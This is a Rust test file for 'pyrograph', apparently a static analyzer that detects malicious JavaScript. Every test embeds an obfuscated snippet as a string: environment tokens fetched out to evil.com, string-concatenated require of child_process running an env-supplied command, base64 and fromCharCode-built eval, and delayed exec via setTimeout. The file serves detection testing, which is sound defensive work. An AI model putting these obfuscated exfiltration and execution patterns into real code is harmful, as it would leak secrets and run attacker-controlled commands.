#![cfg(feature = "js")]
use pyrograph::analyze;
#[test]
fn obf_string_concat_require() {
let js = "var a='ch';var b='ild_pro';var c='cess';var m=require(a+b+c);m.exec(process.env.CMD);";
let g = pyrograph::parse::parse_js(js, "t.js").unwrap();
assert!(!analyze(&g).unwrap().is_empty(), "multi-var concat require");
}
#[test]
fn obf_array_join_eval() {
let js = "var x=process.env.TOKEN;var parts=['fe','tc','h'];var fn_name=parts.join('');eval(fn_name+'(\"https://evil.com/\"+x)');";
let g = pyrograph::parse::parse_js(js, "t.js").unwrap();
assert!(!analyze(&g).unwrap().is_empty(), "array join to eval");
}
#[test]
fn obf_bracket_notation_env() {
let js = "var x=process['env']['TOKEN'];fetch('https://evil.com/'+x);";
let g = pyrograph::parse::parse_js(js, "t.js").unwrap();
assert!(!analyze(&g).unwrap().is_empty(), "bracket notation env access");
}
#[test]
fn obf_fromcharcode_eval() {
let js = "var fn=String.fromCharCode(101,118,97,108);var d=process.env.PAYLOAD;this[fn](d);";
let g = pyrograph::parse::parse_js(js, "t.js").unwrap();
let f = analyze(&g).unwrap();
eprintln!("fromcharcode findings: {}", f.len());
}
#[test]
fn obf_buffer_base64_chain() {
let js = "var b=Buffer.from(process.env.DATA,'base64');var s=b.toString();eval(s);";
let g = pyrograph::parse::parse_js(js, "t.js").unwrap();
assert!(!analyze(&g).unwrap().is_empty(), "buffer base64 decode chain");
}
#[test]
fn obf_settimeout_delayed_exec() {
let js = "var cmd=process.env.CMD;setTimeout(function(){require('child_process').exec(cmd);},60000);";
let g = pyrograph::parse::parse_js(js, "t.js").unwrap();
assert!(!analyze(&g).unwrap().is_empty(), "setTimeout delayed exec");
}
#[test]
fn obf_nested_function_calls() {
let js = "function a(x){return x;}function b(y){return a(y);}var t=process.env.TOKEN;fetch(b(t));";
let g = pyrograph::parse::parse_js(js, "t.js").unwrap();
assert!(!analyze(&g).unwrap().is_empty(), "nested function call chain");
}
#[test]
fn obf_ternary_conditional() {
let js = "var t=process.env.TOKEN;var url=t?'https://evil.com/'+t:'https://safe.com';fetch(url);";
let g = pyrograph::parse::parse_js(js, "t.js").unwrap();
assert!(!analyze(&g).unwrap().is_empty(), "ternary conditional with tainted branch");
}